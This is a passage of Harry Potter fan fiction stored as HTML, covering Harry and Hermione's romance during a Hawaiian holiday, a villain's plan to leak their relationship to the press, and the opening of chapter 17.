</p>\n\n<p>&#8220;Okay,&#8221; she said, she began to pack her towel and Walkman in her beach bag, but stopped when she noticed Harry was just sitting there staring at her.&nbsp; </p>\n\n<p>&#8220;What?&#8221; she asked. &#8220;What are you grinning at?&#8221; </p>\n\n<p>&#8220;Nothing,&#8221; he said, standing up. He still wore that goofy grin and for the life of her Hermione had no idea why. </p>\n\n<p>&#8220;Harry, you prat,&#8221; she said. &#8220;What is it?&#8221; </p>\n\n<p>&#8220;I forgot something,&#8221; he said. </p>\n\n<p>&#8220;What?&#8221; she asked, watching as he began to walk around her. &#8220;What is it? Do I have sand on my face? A jellyfish on my leg? What?&#8221; </p>\n\n<p>To her shock he picked her up and placed her over his shoulder and began to carry her toward the ocean. </p>\n\n<p>&#8220;Harry James Potter, you put me down, right NOW!&#8221; she screamed, laughing at him. &#8220;I&#8217;m not kidding.&#8221; </p>\n\n<p>Harry continued to carry her toward the ocean. &#8220;If you&#8217;re not kidding, why are you laughing?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are so lucky that my wand is in my beach bag or else you&#8217;d be in so much trouble,&#8221; Hermione said, hitting him playfully on the back. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A good wizard always knows when to fight his battles,&#8221; Harry said. &#8220;Come now, Miss Granger to the water.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You are so going to pay for this,&#8221; Hermione said, giggling as they reached the water. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When they finally made it back to the hotel earlier that evening, they&#8217;d both retreated to their bedrooms to shower and get ready for the luau. Like most men, it didn&#8217;t take Harry long to shower and change into a pair of khaki shorts and a denim button-down shirt. He went into the living room of the suite to wait on Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He took a seat on the couch and thumbed through one of the magazines on the coffee table. He looked down at his watch. The luau was set t begin at 7 p.m. It was already 6:45. He knew Hermione hated to be late for anything. He couldn&#8217;t understand what the hold up was. Getting up from the couch, he walked over to her bedroom door and knocked softly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; came the muffled sound of Hermione&#8217;s voice from the other side of the door. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You okay in there?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, why?&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You just seem to be taking a little longer than you usually do to get ready, that&#8217;s all,&#8221; Harry said.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just need a few more minutes,&#8221; Hermione called from her room. &#8220;Why don&#8217;t you watch something on the telly until I get ready.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Or I could help you, you know zip something up or hook the clasp on a necklace?&#8221; Harry offered, smiling at the door. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No thanks,&#8221; Hermione said. &#8220;I think I&#8217;ve got it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry frowned and took one last look at the door before turning to walk back to the couch. </p>\n\n<p>&#8220;Nice try, though,&#8221; Hermione said from behind the door. Harry smiled and laughed as he turned the television on and waited for Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ten minutes later, she came out her room and Harry knew it&#8217;d been worth the wait. She looked beautiful. No, beautiful didn&#8217;t do her justice. She had put on a blue sundress that went quite nicely with her now tanned skin. She&#8217;d put her hair up in a loose chignon and tiny tendrils framed her face. She wasn&#8217;t making this easy on him, not at all, but he didn&#8217;t mind. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221; she said, smiling at him. &#8220;Do I look okay?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You, um,&#8221; he began, staring at her. &#8220;You look, wow. Just wow.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He smiled broadly at her. She could feel her cheeks go pink. &#8220;You look pretty wow yourself,&#8221; she said smiling at him. &#8220;Well, you ready to go?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; he said, still gazing dreamily at her. &#8220;You&#8212;wow.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You said that already,&#8221; she said, grabbing her purse. <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Harry said, opening the door for her. &#8220;It just needed to be repeated, that&#8217;s all.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They arrived at the luau only a couple of minutes late.&nbsp; As they mingled with the other hotel guests waiting for the luau to truly begin, Hermione explained to Harry what to expect from the traditional Hawaiian luau. She had read in the guidebook about them. Harry had teased her that the guidebook was quickly becoming her favorite book, right behind, of course, <i>Hogwarts: </i>A <i>History. </i></p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A Hawaiian band was playing island music and a group of hula dancers were dancing as the guests looked on. The sun was just beginning to set and the sky was a mixture of pinks, yellows, oranges and purples. It looked like something out a painting Harry thought as he and Hermione made their way through the crowd, looking for an empty table. A young Polynesian woman, dressed in a bikini top and grass skirt, stopped them and presented them each with a flower lei. She placed them around their necks with a quick &#8220;Aloha&#8221; and a smile at them both.</p>\n\n<p>Hermione scanned the crowd of tables and finally spotted one with two empty seats. &#8220;Come on, Harry. There&#8217;s a couple of empty seats over there.&#8221; Taking Harry&#8217;s hand, she led him the direction of the table. As soon as they sat down a waiter approached them for their drink order. Hermione adventurously ordered a Mai Tai, but Harry went the traditional, conservative route and ordered a beer. </p>\n\n<p>They sat back in their chairs to watch as a few brave guests took the stage to dance along with the hula dancers. Hermione playfully nudged Harry on his arm and motioned toward the stage.</p>\n\n<p>&#8220;I know that you don&#8217;t think I&#8217;m going to get up there and do that?&#8221; Harry asked her, incredulously.</p>\n\n<p>&#8220;Aw, come on,&#8221; Hermione said, laughing. &#8220;I could sell the pictures as an exclusive to <i>The Daily Prophet</i>. I could see the headline now, &#8216;Harry Potter Hulas&#8217;.&#8221;</p>\n\n<p>&#8220;I don&#8217;t think so,&#8221; Harry said, shaking his head vehemently. &#8220;Now if you wanted to get up there in a coconut shell bra and a grass skirt, I wouldn&#8217;t have a problem with that.&#8221;</p>\n\n<p>&#8220;Oh, no,&#8221; Hermione said. &#8220;Besides, I think you&#8217;d look better in the grass skirt and coconut shell bra. Look at those guys up there, they&#8217;re doing it.&#8221; </p>\n\n<p>&#8220;Yeah, I think they&#8217;d have a little too much to drink, too,&#8221; Harry said, laughing at her. &#8220;Give it up, Mione, it&#8217;s not going to happen. There isn&#8217;t enough alcohol in the free world to make that happen.&#8221; </p>\n\n<p>Hermione gave him a disappointed look. &#8220;Now, who&#8217;s being the spoiled sport, huh?&#8221; </p>\n\n<p>Harry took a moment to look around at their tablemates. There was a trio of older women in their late fifties, Harry guessed. They were discussing the food and one of the ladies was debating whether or not to indulge in a second glass of wine. To the right of Hermione sat a young couple, which looked to be in their early twenties. The woman was willowy with light, shoulder-length brown hair. She was holding hands with a man who had brown eyes and short, dark brown hair. Harry noticed that the two of them were sporting wedding bands and by the way they were acting, he assumed they were newlyweds. </p>\n\n<p>He laughed to himself at how analytical he&#8217;d become in the past few years. Trick of the trade, he thought. In his training as an Auror, he&#8217;d been taught to immediately get a handle on all situations by looking at the big picture and learn the territory and the people. He reminded himself that while he was here to protect Hermione, he wasn&#8217;t officially on a case. He was here to relax and be with the woman he loved. Nights like these didn&#8217;t come around too often in life and he was going to enjoy the night and all it had to offer. </p>\n\n<p>The young couple had engaged Hermione in conversation almost immediately. Harry refocused his attention on their conversation. Hermione smiled at him as she warmly introduced herself and Harry to the couple. </p>\n\n<p>&#8220;I&#8217;m Hermione and this is my-,&#8221; she began. </p>\n\n<p>&#8220;Harry,&#8221; Harry finished. &#8220;I&#8217;m her Harry.&#8221; </p>\n\n<p>Hermione smiled sheepishly at him. </p>\n\n<p>&#8220;Nice to meet you both,&#8221; the young woman was saying. &#8220;I&#8217;m Emma and this is my husband, Dan. Husband. Gosh, I&#8217;m still getting used to saying that.&#8221; </p>\n\n<p>&#8220;So you&#8217;re newlyweds, then?&#8221; Hermione asked. Emma held up her hand to show Hermione her ring. </p>\n\n<p>&#8220;Congratulations,&#8221; Hermione said. </p>\n\n<p>&#8220;How about you?&#8221; Dan asked. &#8220;On your honeymoon, as well?&#8221; </p>\n\n<p>Hermione shook her head, &#8220;No, just on vacation.&#8221; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Where are you guys from?&#8221; Harry asked. </p>\n\n<p>&#8220;Michigan, actually,&#8221; Emma said. &#8220;We just arrived yesterday. We didn&#8217;t really want to leave the hotel room, but Dan insisted.&#8221; </p>\n\n<p>&#8220;Hey, a man has to eat,&#8221; Dan said, with a smile. &#8220;Am I right, Harry?&#8221; </p>\n\n<p>&#8220;Can&#8217;t argue with that,&#8221; Harry said, taking a sip of his beer. </p>\n\n<p>&#8220;I think he just wanted to get out and see some hot Hawaiian girls dance the hula,&#8221; Emma said. &#8220;You know what I mean, Hermione?&#8221; </p>\n\n<p>Hermione laughed good-naturedly and artfully dodged questions from Dan and Emma about what line of work she and Harry were in. Hermione told them she was a chemist at a small university in London. Harry told them he was in law enforcement. Not exactly a lie, but certainly not the truth. They couldn&#8217;t very well tell these nice people that they were a witch and wizard, now could they? They&#8217;d both probably be carted off to the nearest Hawaiian insane asylum, Harry mused to himself. </p>\n\n<p>They spent the next hour watching the entertainment and eating food. In addition to the roast pig, they were served poi, rice, and vegetables and fruits of all shapes and sizes. During the meal, Harry and Dan engaged in discussions of the merits of sport in both England and the United States. Dan couldn&#8217;t get over how Londoners and most Europeans called soccer &#8220;football&#8221;, while Hermione and Emma discussed books and movies. </p>\n\n<p>After they&#8217;d eaten until they couldn&#8217;t eat anymore, Hermione suggested a walk along the beach. After saying a polite goodbye to Dan and Emma, who were heading back to their hotel room to do what newlyweds do, Harry and Hermione set off for the beach. </p>\n\n<p>Hermione took off her shoes and carried them in one hand. She took Harry&#8217;s hand in the other and they began their walk. They walked in silence listening to the competing sounds of the waves crashing onto the shore and the lingering sounds of the music and crowds from the luau. </p>\n\n<p>When the sun had gone down, the temperature had dropped a little. The wind was also stronger near the beach and Harry wasn&#8217;t surprised to see Hermione shivering a little. He chivalrously offered her his shirt. She refused at first, but he assured her he&#8217;d be fine in his t-shirt. She finally relented and gratefully accepted the shirt. He placed it gingerly over her shoulders. They continued to walk down the beach. </p>\n\n<p>As they walked, Harry reached into his shorts pocket with his free hand to find the box he&#8217;d put in there earlier. &#8220;Can we stop for a second, then?&#8221; he asked her, releasing his hand from hers. </p>\n\n<p>&#8220;Sure,&#8221; she said. &#8220;Is everything okay?&#8221; </p>\n\n<p>&#8220;Yeah, everything&#8217;s perfect, actually. I just wanted to give you something.&#8221; </p>\n\n<p>He reached into his pocket and pulled the small box out. He looked down at it and then shyly looked up at her. </p>\n\n<p>&#8220;What is it?&#8221; she asked, as he gave her the box. </p>\n\n<p>&#8220;Open it and find out,&#8221; Harry said, smiling nervously at her. &#8220;Go ahead.&#8221; </p>\n\n<p>&#8220;Okay,&#8221; she said. She gingerly opened the box and gasped at what she saw inside. It was a sterling silver heart-shaped antique locket. Hermione picked it up and ran her fingers over it. &#8220;It&#8217;s exquisite, Harry.&#8221; </p>\n\n<p>&#8220;It was my mum&#8217;s,&#8221; he said, smiling at her. &#8220;Sirius found it in a trunk he had of theirs. She&#8217;d told him that when I grew up she was going to give it to me to give to the girl that I loved. Hermione, from the moment I saw that locket, there was no doubt in my mind who I would give it to.&#8221;</p>\n\n<p>&#8220;Oh, Harry,&#8221; Hermione said, tears welling up in her eyes. </p>\n\n<p>&#8220;Look inside,&#8221; Harry said. </p>\n\n<p>Wiping away a tear, Hermione cupped the locket in her hand and unhooked the clasp. Inside the locket were two small pictures. On one side, there was a picture of an 11-year old Harry and on the other side, an 11-year old Hermione. </p>\n\n<p>&#8220;Harry,&#8221; she said. &#8220;This is the most amazing gift that anyone has ever given me. Will you help me put it on?&#8221; </p>\n\n<p>&#8220;Of course,&#8221; he said. He took the locket from her and she turned as he put it around her neck and hooked the clasp. She turned back around to face him and looked down at the locket. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, how&#8217;s it look?&#8221; she asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Beautiful,&#8221; he said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And I&#8217;m not just talking about the necklace,&#8221; he said. &#8220;It&#8217;s you. You are beautiful,&#8221; he said, taking a hand to her face to wipe a tear from her cheek. &#8220;I love you, Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t want to talk anymore or think. There was no planning, now; no reason and no doubt. She threw herself against him and his arms engulfed her.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;I love you, too,&#8221; she breathed. The next thing either of them knew, they were kissing. Harry was kissing her hair, her forehead, her cheek, her mouth, and her neck. She kissed him back just as fiercely and clinging tightly to him as if any moment someone might come and pry them apart. </p>\n\n<p>They pulled back when they heard a roll of laughter from a couple a few yards away. </p>\n\n<p>&#8220;Harry,&#8221; Hermione said breathlessly. </p>\n\n<blockquote>&#8220;Yeah,&#8221; he said, fervently. He still held her in his arms and their faces were just inches apart. </blockquote>\n\n<blockquote>&#8220;I think we should go back to the hotel,&#8221; she said. </blockquote>\n\n<blockquote>&#8220;Oh,&#8221; he said, releasing her. &#8220;I didn&#8217;t mean to make you feel uncomfortable. I hope that I didn&#8217;t.&#8221; </blockquote>\n\n<blockquote>Hermione smiled up at him.&nbsp; &#8220;You didn&#8217;t. I just think we should go back that&#8217;s all.&#8221; </blockquote>\n\n<blockquote>&#8220;Sure,&#8221; he said, regretting what he&#8217;d just done. He&#8217;d made her uncomfortable. He&#8217;d pushed her too hard and he may have just blown any chance he&#8217;d had with her. </blockquote>\n\n<blockquote>The walk back to the hotel was like agony for Harry. They didn&#8217;t speak and they didn&#8217;t hold hands. They didn&#8217;t really do much of anything. </blockquote>\n\n<blockquote>They entered the suite and Harry watched dejectedly as Hermione quickly went into her bedroom and closed the door, without a word. He stood there looking at her closed door for a few moments before finally heading for his own bedroom. </blockquote>\n\n<blockquote>He sat down on his bed and began to take off his shoes. He took off his glasses and placed them on the bedside table. He heard a soft knock at the door. </blockquote>\n\n<blockquote>&#8220;Come in,&#8221; he said. </blockquote>\n\n<blockquote>She was still dressed in her sundress and her eyes were red from crying. She had taken her hair down. </blockquote>\n\n<blockquote>&#8220;Hi,&#8221; she whispered. </blockquote>\n\n<blockquote>&#8220;Hi,&#8221; he said. &#8220;I&#8217;m sorry, Hermione.&#8221; </blockquote>\n\n<blockquote>&#8220;Harry, you don&#8217;t have to apologize,&#8221; she said. &#8220;What happened on the beach scared me a little bit.&#8221; </blockquote>\n\n<blockquote>&#8220;Why did it scare you?&#8221; he said. </blockquote>\n\n<blockquote>&#8220;I couldn&#8217;t think. I couldn&#8217;t speak. I just knew that I wanted you. I want you, Harry,&#8221; she said. </blockquote>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He stood up and walked over to her. He reached out his hand. She slowly extended hers, too. The tips of their fingers touched. &#8220;I want you, too, Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was nothing more to say. Hermione stepped in and rested her forehead on Harry&#8217;s chest. She took a long, deep breath and smoothed her cheek along the soft cotton of his t-shirt. He gently wrapped his arms around her and buried his face in her hair. &nbsp;They stood like that for a moment and it seemed as if all sound, all color and all sense was gone. It was just the two of them in that room. This was their moment. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They finally kissed, softly at first and then more passionately. Hermione helped Harry take his shirt off and he watched as she slowly unbuttoned her sundress. He watched it fall to the ground and she stood there, nervously, in just a short slip. He took her hand and led her to the bed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No turning back now,&#8221; he said, smiling at her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No turning back,&#8221; she said. He leaned her back onto the bed and they kissed again. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Promise me one thing,&#8221; she said, beaming up at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Anything,&#8221; he said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Promise me that when I wake up tomorrow morning, you&#8217;ll be there,&#8221; she said, softly.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He softly caressed her cheek. &#8220;I&#8217;m never going to leave you again.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A thousand miles away in London, a young wizard made his way to his master&#8217;s office. He knocked softly on the door and waited for his master to let him inside. His master was weak, but getting stronger everyday. It was only a matter of time before things were the way they were always meant to be. And he had news; news that his master had been waiting for. News that would no doubt cement the young wizard&#8217;s place as more than a mere apprentice. This would prove he would be a viable, important member of his staff. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He waited until he heard the muffled sound of his master urging him to come inside the office. He opened the door and tried to contain his excitement. This was it. This was his chance. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have news, master,&#8221; the wizard said. &#8220;I know where they are.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where who is?&#8221; the master said back angrily. &#8220;I don&#8217;t have time for your games anymore.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know where Potter and Granger are,&#8221; the wizard said. &#8220;I&#8217;ve found them.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where?&#8221; the master said, intrigued. &#8220;Where have you found them?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hawaii, sir,&#8221; the student said. &#8220;On the island of Honolulu.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ah,&#8221; the master said. &#8220;A scandal. Potter and Granger together. This is good news, boy. You&#8217;ve done quite well. There will be a reward for this. You can count on that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What should we do?&#8221; the student asked. &#8220;When shall we leave.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;All in good time, my boy,&#8221; the master said. &#8220;We might not have to go that far. We could lead them back here.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know someone down at <i>The Daily Prophet</i>, don&#8217;t you,&#8221; the master continued. &#8220;Leak this story about Potter and Granger down in Paradise doing Merlin knows what, while the third member of their little Dream Team sits here in jolly old London without a semblance of a clue. They&#8217;ll be back here faster than you can say scandal to clean up the big, delicious mess they made.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, sir,&#8221; the student said. &#8220;I&#8217;ll get right on that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The master watched as his student walked away. He had never held much credence to the quote that &#8220;Revenge was a better dish served cold.&#8221; He&#8217;d always believed in striking back quickly and fiercely. But this was going to be worth it. Vengeance would soon be his. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Enjoy your little island paradise now, Potter,&#8221; the master said coldly. &#8220;It&#8217;ll soon be over.&#8221; </p> '),
	(255, 17, '\n\n\n\n<meta name="Generator" content="Microsoft Office HTML Filter 2.0">\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<title>Hermione awoke early that morning</title>\n\n<style>\n\n</style>\n\n\n\n<p>Authors Note: Sorry for the delay in updating&#8230;I was totally engrossed in &#8220;American Idol&#8221; these past couple of weeks. Now, that&#8217;s it over, I was finally able to write the next chapter. I hope you like it. The chapter title is one of my favorite Beatles&#8217; songs (shout-out to Lennon-McCartney). No, I still don&#8217;t own Harry Potter&#8230;.yada&#8230;yada&#8230;yada. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 17</p>\n\n<p>&#8220;You&#8217;ve Got to Hide Your Love Away&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione lay in bed the next morning, smiling as she watched Harry sleep. He&#8217;d been true to his word. He&#8217;d stayed. He hadn&#8217;t left. She took her hand from under the covers and pinched her shoulder just so she&#8217;d know she hadn&#8217;t been dreaming. This was real. </p>\n\n<p>She couldn&#8217;t remember ever being this happy. They&#8217;d It all seemed too perfect. It had been her experience that things that seemed perfect had a nasty habit of not being able to last. It wasn&#8217;t that she doubted Harry&#8217;s love for her or her love for Harry. It was that she knew that they wouldn&#8217;t be able to stay here in Hawaii. They couldn&#8217;t stay here locked away in a hotel suite away from the world, away from their families and away from their friends. This &#8220;vacation&#8221; eventually would have to end and they&#8217;d have to return home. They&#8217;d have to tell Ron. </p>\n\n<p>That was one conversation she wasn&#8217;t looking forward to at all. She had no idea what she&#8217;d say to him. What do you say to someone when you know you&#8217;re going to break their heart? She wondered if there was a book like <i>Breaking Up for Dummies</i> or <i>The Complete Idiot&#8217;s Guide to Breaking Someone&#8217;s Heart</i>. All of her life she&#8217;d been able to look to books for answers. There wasn&#8217;t any problem too big that you couldn&#8217;t find a simple answer or solution in the pages of a book, she&#8217;d always believed. There was always an exception to every rule, though. She wouldn&#8217;t find the answer to this problem in any book. </p>\n\n<p>She stood up from the chair and stretched her arms over her head. She walked over to the railing and looked down onto the sparkling blue ocean. It was still early and only a handful of people were on the beach.&nbsp; </p>\n\n<p>&#8220;Now that is a beautiful sight,&#8221; came a slightly groggy voice from behind her. </p>\n\n<p>She turned to see Harry standing by the sliding glass doors.&nbsp; He was yawning and running his fingers through his disheveled hair. He wore only a pair of boxer shorts. Just looking at him made her smile. </p>\n\n<p>&#8220;Isn&#8217;t it beautiful?&#8221; she asked, turning back around to look at the ocean. &#8220;I love the ocean like this, all peaceful and calm.&#8221; </p>\n\n<p>&#8220;I wasn&#8217;t talking about the ocean,&#8221; Harry said, coming to stand beside her at the railing. </p>\n\n<p>Hermione blushed. She took her hand to his hair and tousled it playfully. </p>\n\n<p>&#8220;I know,&#8221; she said, smiling at him. She rested her head on his shoulder. </p>\n\n<p>&#8220;Have you been awake for very long?&#8221; he asked her. He leaned down and kissed the top of her head. She smiled, contently. </p>\n\n<p>&#8220;Not too long,&#8221; she whispered. They were silent for a long time, both just staring out at the ocean. Harry held her in a tight embrace. She felt so safe and warm wrapped up in his arms.&nbsp; This was how it was supposed to be. This was the way it was meant to be. </p>\n\n<p>&#8220;Happy?&#8221; he finally asked her. </p>\n\n<p>&#8220;Maybe,&#8221; Hermione said, cheekily. </p>\n\n<p>&#8220;Maybe?&#8221; Harry asked. &#8220;What more do I have to do?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He pretended to be outraged as he picked her up, protesting all the way. He carried her back into the hotel suite and back into the bedroom. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Back to bed with you, then,&#8221; Harry said, lying her down on the bed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pulled him down on top of her. Grabbing his hair, she clung to him as if they were the only two people in the universe. Gasping for breath, Hermione grabbed Harry&#8217;s face and their mouths came together clashing with a sort of insatiable hunger that Hermione had never experienced before. Whereas last night&#8217;s lovemaking had been more gentle and tender, this was much more intense and passionate. </p>\n\n<p>She pulled up her legs, sliding them up his body as they grinded against each other. All rational thought went out the window and she didn&#8217;t care. All she could concentrate on was the feel of his hands against her skin. She felt her hands slide against his skin, and she knew that she&#8217;d never wanted anything or anymore than she wanted Harry at that very moment. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Meanwhile back in London, Sirius Black was busy nursing a hangover. He&#8217;d spent his one night off in weeks involved in drunken debauchery with Remus Lupin at The Leaky Cauldron. As he woke up sometime in the afternoon, he groaned in pain. He was getting much too old for this, Sirius thought as he rolled off the couch, which had been his makeshift bed these past couple of weeks. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He&#8217;d been staying at Hermione&#8217;s flat since she&#8217;d left the country with Harry.&nbsp; This was actually the only solution, since he had no real place to call home these days, what with he and Harry off on a mission nearly every week. He&#8217;d spent the past couple of weeks going over leads with a team of fellow aurors, who had implanted themselves in The Ministry. They hadn&#8217;t come up with anything concrete on this case, and that worried Sirius. There was no such thing as the perfect 